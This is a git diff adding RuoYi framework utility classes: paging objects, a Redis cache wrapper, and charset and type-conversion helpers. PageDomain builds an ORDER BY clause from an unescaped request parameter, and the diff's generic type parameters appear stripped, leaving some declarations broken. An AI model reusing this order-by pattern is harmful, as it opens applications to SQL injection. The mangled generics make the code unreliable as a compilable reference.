b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java @@ -0,0 +1,101 @@ +package com.ruoyi.common.core.page; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 分页数据 + * + * @author ruoyi + */ +public class PageDomain +{ + /** 当前记录起始索引 */ + private Integer pageNum; + + /** 每页显示记录数 */ + private Integer pageSize; + + /** 排序列 */ + private String orderByColumn; + + /** 排序的方向desc或者asc */ + private String isAsc = "asc"; + + /** 分页参数合理化 */ + private Boolean reasonable = true; + + public String getOrderBy() + { + if (StringUtils.isEmpty(orderByColumn)) + { + return ""; + } + return StringUtils.toUnderScoreCase(orderByColumn) + " " + isAsc; + } + + public Integer getPageNum() + { + return pageNum; + } + + public void setPageNum(Integer pageNum) + { + this.pageNum = pageNum; + } + + public Integer getPageSize() + { + return pageSize; + } + + public void setPageSize(Integer pageSize) + { + this.pageSize = pageSize; + } + + public String getOrderByColumn() + { + return orderByColumn; + } + + public void setOrderByColumn(String orderByColumn) + { + this.orderByColumn = orderByColumn; + } + + public String getIsAsc() + { + return isAsc; + } + + public void setIsAsc(String isAsc) + { + if (StringUtils.isNotEmpty(isAsc)) + { + // 兼容前端排序类型 + if ("ascending".equals(isAsc)) + { + isAsc = "asc"; + } + else if ("descending".equals(isAsc)) + { + isAsc = "desc"; + } + this.isAsc = isAsc; + } + } + + public Boolean getReasonable() + { + if (StringUtils.isNull(reasonable)) + { + return Boolean.TRUE; + } + return reasonable; + } + + public void setReasonable(Boolean reasonable) + { + this.reasonable = reasonable; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java new file mode 100644 index 0000000..847685b --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java @@ -0,0 +1,85 @@ +package com.ruoyi.common.core.page; + +import java.io.Serializable; +import java.util.List; + +/** + * 表格分页数据对象 + * + * @author ruoyi + */ +public class TableDataInfo implements Serializable +{ + private static final long serialVersionUID = 1L; + + /** 总记录数 */ + private long total; + + /** 列表数据 */ + private List rows; + + /** 消息状态码 */ + private int code; + + /** 消息内容 */ + private String msg; + + /** + * 表格数据对象 + */ + public TableDataInfo() + { + } + + /** + * 分页 + * + * @param list 列表数据 + * @param total 总记录数 + */ + public TableDataInfo(List list, int total) + { + this.rows = list; + this.total = total; + } + + public long getTotal() + { + return total; + } + + public void setTotal(long total) + { + this.total = total; + } + + public List getRows() + { + return rows; + } + + public void setRows(List rows) + { + this.rows = rows; + } + + public int getCode() + { + return code; + } + + public void setCode(int code) + { + this.code = code; + } + + public String getMsg() + { + return msg; + } + + public void setMsg(String msg) + { + this.msg = msg; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java new file mode 100644 index 0000000..a120c30 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java @@ -0,0 +1,56 @@ +package com.ruoyi.common.core.page; + +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.utils.ServletUtils; + +/** + * 表格数据处理 + * + * @author ruoyi + */ +public class TableSupport +{ + /** + * 当前记录起始索引 + */ + public static final String PAGE_NUM = "pageNum"; + + /** + * 每页显示记录数 + */ + public static final String PAGE_SIZE = "pageSize"; + + /** + * 排序列 + */ + public static final String ORDER_BY_COLUMN = "orderByColumn"; + + /** + * 排序的方向 "desc" 或者 "asc". + */ + public static final String IS_ASC = "isAsc"; + + /** + * 分页参数合理化 + */ + public static final String REASONABLE = "reasonable"; + + /** + * 封装分页对象 + */ + public static PageDomain getPageDomain() + { + PageDomain pageDomain = new PageDomain(); + pageDomain.setPageNum(Convert.toInt(ServletUtils.getParameter(PAGE_NUM), 1)); + pageDomain.setPageSize(Convert.toInt(ServletUtils.getParameter(PAGE_SIZE), 10)); + pageDomain.setOrderByColumn(ServletUtils.getParameter(ORDER_BY_COLUMN)); + pageDomain.setIsAsc(ServletUtils.getParameter(IS_ASC)); + pageDomain.setReasonable(ServletUtils.getParameterToBool(REASONABLE)); + return pageDomain; + } + + public static PageDomain buildPageRequest() + { + return getPageDomain(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java new file mode 100644 index 0000000..47aaefb --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java @@ -0,0 +1,286 @@ +package com.ruoyi.common.core.redis; + +import java.util.Collection; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.TimeUnit; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.dao.DataAccessException; +import org.springframework.data.redis.connection.RedisConnection; +import org.springframework.data.redis.core.*; +import org.springframework.stereotype.Component; + +/** + * spring redis 工具类 + * + * @author ruoyi + **/ +@SuppressWarnings(value = { "unchecked", "rawtypes" }) +@Component +public class RedisCache +{ + @Autowired + public RedisTemplate redisTemplate; + + /** + * 缓存基本的对象,Integer、String、实体类等 + * + * @param key 缓存的键值 + * @param value 缓存的值 + */ + public void setCacheObject(final String key, final T value) + { + redisTemplate.opsForValue().set(key, value); + } + + /** + * 缓存基本的对象,Integer、String、实体类等 + * + * @param key 缓存的键值 + * @param value 缓存的值 + * @param timeout 时间 + * @param timeUnit 时间颗粒度 + */ + public void setCacheObject(final String key, final T value, final Integer timeout, final TimeUnit timeUnit) + { + redisTemplate.opsForValue().set(key, value, timeout, timeUnit); + } + + /** + * 设置有效时间 + * + * @param key Redis键 + * @param timeout 超时时间 + * @return true=设置成功;false=设置失败 + */ + public boolean expire(final String key, final long timeout) + { + return expire(key, timeout, TimeUnit.SECONDS); + } + + /** + * 设置有效时间 + * + * @param key Redis键 + * @param timeout 超时时间 + * @param unit 时间单位 + * @return true=设置成功;false=设置失败 + */ + public boolean expire(final String key, final long timeout, final TimeUnit unit) + { + return redisTemplate.expire(key, timeout, unit); + } + + /** + * 获取有效时间 + * + * @param key Redis键 + * @return 有效时间 + */ + public long getExpire(final String key) + { + return redisTemplate.getExpire(key); + } + + /** + * 判断 key是否存在 + * + * @param key 键 + * @return true 存在 false不存在 + */ + public Boolean hasKey(String key) + { + return redisTemplate.hasKey(key); + } + + /** + * 获得缓存的基本对象。 + * + * @param key 缓存键值 + * @return 缓存键值对应的数据 + */ + public T getCacheObject(final String key) + { + ValueOperations operation = redisTemplate.opsForValue(); + return operation.get(key); + } + + /** + * 删除单个对象 + * + * @param key + */ + public boolean deleteObject(final String key) + { + return redisTemplate.delete(key); + } + /* public boolean deleteStreamObject(final String key) + { + *//* return redisTemplate.opsForStream().destroyGroup()*//* + }*/ + + /** + * 删除集合对象 + * + * @param collection 多个对象 + * @return + */ + public boolean deleteObject(final Collection collection) + { + return redisTemplate.delete(collection) > 0; + } + + /** + * 缓存List数据 + * + * @param key 缓存的键值 + * @param dataList 待缓存的List数据 + * @return 缓存的对象 + */ + public long setCacheList(final String key, final List dataList) + { + Long count = redisTemplate.opsForList().rightPushAll(key, dataList); + return count == null ? 0 : count; + } + + /** + * 获得缓存的list对象 + * + * @param key 缓存的键值 + * @return 缓存键值对应的数据 + */ + public List getCacheList(final String key) + { + return redisTemplate.opsForList().range(key, 0, -1); + } + + /** + * 缓存Set + * + * @param key 缓存键值 + * @param dataSet 缓存的数据 + * @return 缓存数据的对象 + */ + public BoundSetOperations setCacheSet(final String key, final Set dataSet) + { + BoundSetOperations setOperation = redisTemplate.boundSetOps(key); + Iterator it = dataSet.iterator(); + while (it.hasNext()) + { + setOperation.add(it.next()); + } + return setOperation; + } + + /** + * 获得缓存的set + * + * @param key + * @return + */ + public Set getCacheSet(final String key) + { + return redisTemplate.opsForSet().members(key); + } + + /** + * 缓存Map + * + * @param key + * @param dataMap + */ + public void setCacheMap(final String key, final Map dataMap) + { + if (dataMap != null) { + redisTemplate.opsForHash().putAll(key, dataMap); + } + } + + /** + * 获得缓存的Map + * + * @param key + * @return + */ + public Map getCacheMap(final String key) + { + return redisTemplate.opsForHash().entries(key); + } + + /** + * 往Hash中存入数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @param value 值 + */ + public void setCacheMapValue(final String key, final String hKey, final T value) + { + redisTemplate.opsForHash().put(key, hKey, value); + } + + /** + * 获取Hash中的数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @return Hash中的对象 + */ + public T getCacheMapValue(final String key, final String hKey) + { + HashOperations opsForHash = redisTemplate.opsForHash(); + return opsForHash.get(key, hKey); + } + + /** + * 获取多个Hash中的数据 + * + * @param key Redis键 + * @param hKeys Hash键集合 + * @return Hash对象集合 + */ + public List getMultiCacheMapValue(final String key, final Collection hKeys) + { + return redisTemplate.opsForHash().multiGet(key, hKeys); + } + + /** + * 删除Hash中的某条数据 + * + * @param key Redis键 + * @param hKey Hash键 + * @return 是否成功 + */ + public boolean deleteCacheMapValue(final String key, final String hKey) + { + return redisTemplate.opsForHash().delete(key, hKey) > 0; + } + + /** + * 获得缓存的基本对象列表 + * + * @param pattern 字符串前缀 + * @return 对象列表 + */ + public Collection keys(final String pattern) + { + return redisTemplate.keys(pattern); + } + + public boolean tryLock(K key, V value, long timeout){ + return Boolean.TRUE.equals(redisTemplate.opsForValue().setIfAbsent(key, value, timeout, TimeUnit.MILLISECONDS)); + } + + public boolean deleteAllObject() + { + boolean execute = (boolean) redisTemplate.execute(new RedisCallback() { + public String doInRedis(RedisConnection connection) throws DataAccessException { + connection.flushDb(); + return "ok"; + } + }); + return execute; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java new file mode 100644 index 0000000..84124aa --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java @@ -0,0 +1,86 @@ +package com.ruoyi.common.core.text; + +import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; +import com.ruoyi.common.utils.StringUtils; + +/** + * 字符集工具类 + * + * @author ruoyi + */ +public class CharsetKit +{ + /** ISO-8859-1 */ + public static final String ISO_8859_1 = "ISO-8859-1"; + /** UTF-8 */ + public static final String UTF_8 = "UTF-8"; + /** GBK */ + public static final String GBK = "GBK"; + + /** ISO-8859-1 */ + public static final Charset CHARSET_ISO_8859_1 = Charset.forName(ISO_8859_1); + /** UTF-8 */ + public static final Charset CHARSET_UTF_8 = Charset.forName(UTF_8); + /** GBK */ + public static final Charset CHARSET_GBK = Charset.forName(GBK); + + /** + * 转换为Charset对象 + * + * @param charset 字符集,为空则返回默认字符集 + * @return Charset + */ + public static Charset charset(String charset) + { + return StringUtils.isEmpty(charset) ? Charset.defaultCharset() : Charset.forName(charset); + } + + /** + * 转换字符串的字符集编码 + * + * @param source 字符串 + * @param srcCharset 源字符集,默认ISO-8859-1 + * @param destCharset 目标字符集,默认UTF-8 + * @return 转换后的字符集 + */ + public static String convert(String source, String srcCharset, String destCharset) + { + return convert(source, Charset.forName(srcCharset), Charset.forName(destCharset)); + } + + /** + * 转换字符串的字符集编码 + * + * @param source 字符串 + * @param srcCharset 源字符集,默认ISO-8859-1 + * @param destCharset 目标字符集,默认UTF-8 + * @return 转换后的字符集 + */ + public static String convert(String source, Charset srcCharset, Charset destCharset) + { + if (null == srcCharset) + { + srcCharset = StandardCharsets.ISO_8859_1; + } + + if (null == destCharset) + { + destCharset = StandardCharsets.UTF_8; + } + + if (StringUtils.isEmpty(source) || srcCharset.equals(destCharset)) + { + return source; + } + return new String(source.getBytes(srcCharset), destCharset); + } + + /** + * @return 系统字符集编码 + */ + public static String systemCharset() + { + return Charset.defaultCharset().name(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java new file mode 100644 index 0000000..c918e36 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java @@ -0,0 +1,1000 @@ +package com.ruoyi.common.core.text; + +import java.math.BigDecimal; +import java.math.BigInteger; +import java.nio.ByteBuffer; +import java.nio.charset.Charset; +import java.text.NumberFormat; +import java.util.Set; +import com.ruoyi.common.utils.StringUtils; +import org.apache.commons.lang3.ArrayUtils; + +/** + * 类型转换器 + * + * @author ruoyi + */ +public class Convert +{ + /** + * 转换为字符串
    + * 如果给定的值为null,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static String toStr(Object value, String defaultValue) + { + if (null == value) + { + return defaultValue; + } + if (value instanceof String) + { + return (String) value; + } + return value.toString(); + } + + /** + * 转换为字符串
    + * 如果给定的值为null,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static String toStr(Object value) + { + return toStr(value, null); + } + + /** + * 转换为字符
    + * 如果给定的值为null,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Character toChar(Object value, Character defaultValue) + { + if (null == value) + { + return defaultValue; + } + if (value instanceof Character) + { + return (Character) value; + } + + final String valueStr = toStr(value, null); + return StringUtils.isEmpty(valueStr) ? defaultValue : valueStr.charAt(0); + } + + /** + * 转换为字符
    + * 如果给定的值为null,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Character toChar(Object value) + { + return toChar(value, null); + } + + /** + * 转换为byte
    + * 如果给定的值为null,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Byte toByte(Object value, Byte defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Byte) + { + return (Byte) value; + } + if (value instanceof Number) + { + return ((Number) value).byteValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Byte.parseByte(valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为byte
    + * 如果给定的值为null,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Byte toByte(Object value) + { + return toByte(value, null); + } + + /** + * 转换为Short
    + * 如果给定的值为null,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Short toShort(Object value, Short defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Short) + { + return (Short) value; + } + if (value instanceof Number) + { + return ((Number) value).shortValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Short.parseShort(valueStr.trim()); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为Short
    + * 如果给定的值为null,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Short toShort(Object value) + { + return toShort(value, null); + } + + /** + * 转换为Number
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Number toNumber(Object value, Number defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Number) + { + return (Number) value; + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return NumberFormat.getInstance().parse(valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为Number
    + * 如果给定的值为空,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Number toNumber(Object value) + { + return toNumber(value, null); + } + + /** + * 转换为int
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Integer toInt(Object value, Integer defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Integer) + { + return (Integer) value; + } + if (value instanceof Number) + { + return ((Number) value).intValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Integer.parseInt(valueStr.trim()); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为int
    + * 如果给定的值为null,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Integer toInt(Object value) + { + return toInt(value, null); + } + + /** + * 转换为Integer数组
    + * + * @param str 被转换的值 + * @return 结果 + */ + public static Integer[] toIntArray(String str) + { + return toIntArray(",", str); + } + + /** + * 转换为Long数组
    + * + * @param str 被转换的值 + * @return 结果 + */ + public static Long[] toLongArray(String str) + { + return toLongArray(",", str); + } + + /** + * 转换为Integer数组
    + * + * @param split 分隔符 + * @param split 被转换的值 + * @return 结果 + */ + public static Integer[] toIntArray(String split, String str) + { + if (StringUtils.isEmpty(str)) + { + return new Integer[] {}; + } + String[] arr = str.split(split); + final Integer[] ints = new Integer[arr.length]; + for (int i = 0; i < arr.length; i++) + { + final Integer v = toInt(arr[i], 0); + ints[i] = v; + } + return ints; + } + + /** + * 转换为Long数组
    + * + * @param split 分隔符 + * @param str 被转换的值 + * @return 结果 + */ + public static Long[] toLongArray(String split, String str) + { + if (StringUtils.isEmpty(str)) + { + return new Long[] {}; + } + String[] arr = str.split(split); + final Long[] longs = new Long[arr.length]; + for (int i = 0; i < arr.length; i++) + { + final Long v = toLong(arr[i], null); + longs[i] = v; + } + return longs; + } + + /** + * 转换为String数组
    + * + * @param str 被转换的值 + * @return 结果 + */ + public static String[] toStrArray(String str) + { + return toStrArray(",", str); + } + + /** + * 转换为String数组
    + * + * @param split 分隔符 + * @param split 被转换的值 + * @return 结果 + */ + public static String[] toStrArray(String split, String str) + { + return str.split(split); + } + + /** + * 转换为long
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Long toLong(Object value, Long defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Long) + { + return (Long) value; + } + if (value instanceof Number) + { + return ((Number) value).longValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + // 支持科学计数法 + return new BigDecimal(valueStr.trim()).longValue(); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为long
    + * 如果给定的值为null,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Long toLong(Object value) + { + return toLong(value, null); + } + + /** + * 转换为double
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Double toDouble(Object value, Double defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Double) + { + return (Double) value; + } + if (value instanceof Number) + { + return ((Number) value).doubleValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + // 支持科学计数法 + return new BigDecimal(valueStr.trim()).doubleValue(); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为double
    + * 如果给定的值为空,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Double toDouble(Object value) + { + return toDouble(value, null); + } + + /** + * 转换为Float
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Float toFloat(Object value, Float defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Float) + { + return (Float) value; + } + if (value instanceof Number) + { + return ((Number) value).floatValue(); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Float.parseFloat(valueStr.trim()); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为Float
    + * 如果给定的值为空,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Float toFloat(Object value) + { + return toFloat(value, null); + } + + /** + * 转换为boolean
    + * String支持的值为:true、false、yes、ok、no,1,0 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static Boolean toBool(Object value, Boolean defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof Boolean) + { + return (Boolean) value; + } + String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + valueStr = valueStr.trim().toLowerCase(); + switch (valueStr) + { + case "true": + case "yes": + case "ok": + case "1": + return true; + case "false": + case "no": + case "0": + return false; + default: + return defaultValue; + } + } + + /** + * 转换为boolean
    + * 如果给定的值为空,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static Boolean toBool(Object value) + { + return toBool(value, null); + } + + /** + * 转换为Enum对象
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * + * @param clazz Enum的Class + * @param value 值 + * @param defaultValue 默认值 + * @return Enum + */ + public static > E toEnum(Class clazz, Object value, E defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (clazz.isAssignableFrom(value.getClass())) + { + @SuppressWarnings("unchecked") + E myE = (E) value; + return myE; + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return Enum.valueOf(clazz, valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为Enum对象
    + * 如果给定的值为空,或者转换失败,返回默认值null
    + * + * @param clazz Enum的Class + * @param value 值 + * @return Enum + */ + public static > E toEnum(Class clazz, Object value) + { + return toEnum(clazz, value, null); + } + + /** + * 转换为BigInteger
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static BigInteger toBigInteger(Object value, BigInteger defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof BigInteger) + { + return (BigInteger) value; + } + if (value instanceof Long) + { + return BigInteger.valueOf((Long) value); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return new BigInteger(valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为BigInteger
    + * 如果给定的值为空,或者转换失败,返回默认值null
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static BigInteger toBigInteger(Object value) + { + return toBigInteger(value, null); + } + + /** + * 转换为BigDecimal
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @param defaultValue 转换错误时的默认值 + * @return 结果 + */ + public static BigDecimal toBigDecimal(Object value, BigDecimal defaultValue) + { + if (value == null) + { + return defaultValue; + } + if (value instanceof BigDecimal) + { + return (BigDecimal) value; + } + if (value instanceof Long) + { + return new BigDecimal((Long) value); + } + if (value instanceof Double) + { + return BigDecimal.valueOf((Double) value); + } + if (value instanceof Integer) + { + return new BigDecimal((Integer) value); + } + final String valueStr = toStr(value, null); + if (StringUtils.isEmpty(valueStr)) + { + return defaultValue; + } + try + { + return new BigDecimal(valueStr); + } + catch (Exception e) + { + return defaultValue; + } + } + + /** + * 转换为BigDecimal
    + * 如果给定的值为空,或者转换失败,返回默认值
    + * 转换失败不会报错 + * + * @param value 被转换的值 + * @return 结果 + */ + public static BigDecimal toBigDecimal(Object value) + { + return toBigDecimal(value, null); + } + + /** + * 将对象转为字符串
    + * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 + * + * @param obj 对象 + * @return 字符串 + */ + public static String utf8Str(Object obj) + { + return str(obj, CharsetKit.CHARSET_UTF_8); + } + + /** + * 将对象转为字符串
    + * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 + * + * @param obj 对象 + * @param charsetName 字符集 + * @return 字符串 + */ + public static String str(Object obj, String charsetName) + { + return str(obj, Charset.forName(charsetName)); + } + + /** + * 将对象转为字符串
    + * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 + * + * @param obj 对象 + * @param charset 字符集 + * @return 字符串 + */ + public static String str(Object obj, Charset charset) + { + if (null == obj) + { + return null; + } + + if (obj instanceof String) + { + return (String) obj; + } + else if (obj instanceof byte[]) + { + return str((byte[]) obj, charset); + } + else if (obj instanceof Byte[]) + { + byte[] bytes = ArrayUtils.toPrimitive((Byte[]) obj); + return str(bytes, charset); + } + else if (obj instanceof ByteBuffer) + { + return str((ByteBuffer) obj, charset); + } + return obj.toString(); + } + + /** + * 将byte数组转为字符串 + * + * @param bytes byte数组 + * @param charset 字符集 + * @return 字符串 + */ + public static String str(byte[] bytes, String charset) + { + return str(bytes, StringUtils.isEmpty(charset) ? Charset.defaultCharset() : Charset.forName(charset)); + } + + /** + * 解码字节码 + * + * @param data 字符串 + * @param charset 字符集,如果此字段为空,则解码的结果取决于平台 + * @return 解码后的字符串 + */ + public static String str(byte[] data, Charset charset) + { + if (data == null) + { + return null; + } + + if (null == charset) + { + return new String(data); + } + return new String(data, charset); + } + + /** + * 将编码的byteBuffer数据转换为字符串 + * + * @param data 数据 + * @param charset 字符集,如果为空使用当前系统字符集 + * @return 字符串 + */ + public static String str(ByteBuffer data, String charset) + { + if (data == null) + { + return null; + } + + return str(data, Charset.forName(charset)); + } + + /** + * 将编码的byteBuffer数据转换为字符串 + * + * @param data 数据 + * @param charset 字符集,如果为空使用当前系统字符集 + * @return 字符串 + */ + public static String str(ByteBuffer data, Charset charset) + { + if (null == charset) + { + charset = Charset.defaultCharset(); + } + return charset.decode(data).toString(); + } + + // ----------------------------------------------------------------------- 全角半角转换 + /** + * 半角转全角 + * + * @param input String. + * @return 全角字符串. + */ + public static String toSBC(String input) + { + return toSBC(input, null); + } + + /** + * 半角转全角 + * + * @param input String + * @param notConvertSet 不替换的字符集合 + * @return 全角字符串. + */ + public static String toSBC(String input, Set notConvertSet) + { + char[] c = input.toCharArray(); + for (int i = 0; i < c.length; i++) + { + if (null != notConvertSet && notConvertSet.contains(c[i])) + { + // 跳过不替换的字符 + continue; + } + + if (c[i] == ' ') + { + c[i] = '\u3000'; + } + else if (c[i] < '\177') + { + c[i] = (char) (c[i] + 65248); + + } + } + return new String(c); + } + + /** + * 全角转半角 + * + * @param input String. + * @return 半角字符串 + */ + public static String toDBC(String input) + { + return toDBC(input, null); + } + + /** + * 替换全角为半角 + * + * @param text 文本 + * @param notConvertSet 不替换的字符集合 + * @return 替换后的字符 + */ + public static String toDBC(String text, Set notConvertSet) + { + char[] c = text.toCharArray(); + for (int i = 0; i < c.length; i++) + { + if (null != notConvertSet && notConvertSet.contains(c[i])) + { + // 跳过不替换的字符 + continue; + } + + if (c[i] == '\u3000') + { + c[i] = ' '; + } + else if (c[i] > '\uFF00' && c[i] < '\uFF5F') + { + c[i] = (char) (c[i] - 65248); + } + } + String returnString = new String(c); + + return returnString; + } + + /** + * 数字金额大写转换 先写个完整的然后将如零拾替换成零 + * + * @param n 数字 + * @return 中文大写数字 + */ + public static String digitUppercase(double n) + { + String[] fraction = { "角", "分" }; + String[] digit = { "零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖" }; + String[][] unit = { { "元", "万", "亿" }, { "", "拾", "佰", "仟" } }; + + String head = n < 0 ? "负" : ""; + n = Math.abs(n); + + String s = ""; + for (int i = 0; i < fraction.length; i++) + { + s += (digit[(int) (Math.floor(n * 10 * Math.pow(10, i)) % 10)] + fraction[i]).replaceAll("(零.)+", ""); + } + if (s.length() < 1) + { + s = "整"; + } + int integerPart = (int) Math.floor(n); + + for (int i = 0; i < unit[0].length && integerPart > 0; i++) + { + String p = ""; + for (int j = 0; j < unit[1].length && n > 0; j++) + { + p = digit[integerPart % 10] + unit[1][j] + p; + integerPart = integerPart / 10; + } + s = p.replaceAll("(零.)*零$", "").replaceAll("^$", "零") + unit[0][i] + s; + } + return head + s.replaceAll("(零.)*零元", "元").replaceFirst("(零.)+", "").replaceAll("(零.)+", "零").replaceAll("^整$", "零元整"); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java new file mode 100644 index 0000000..c78ac77 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java @@ -0,0 +1,92 @@ +package com.ruoyi.common.core.text; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 字符串格式化 + * + * @author ruoyi + */ +public class StrFormatter +{ + public static final String EMPTY_JSON = "{}"; + public static final char C_BACKSLASH = '\\'; + public static final char C_DELIM_START = '{'; + public static final char C_DELIM_END = '}'; + + /** + * 格式化字符串
    + * 此方法只是简单将占位符 {} 按照顺序替换为参数
    + * 如果想输出 {} 使用 \\转义 { 即可,如果想输出 {} 之前的 \ 使用双转义符 \\\\ 即可
    + * 例:
    + * 通常使用:format("this is {} for {}", "a", "b") -> this is a for b
    + * 转义{}: format("this is \\{} for {}", "a", "b") -> this is \{} for a
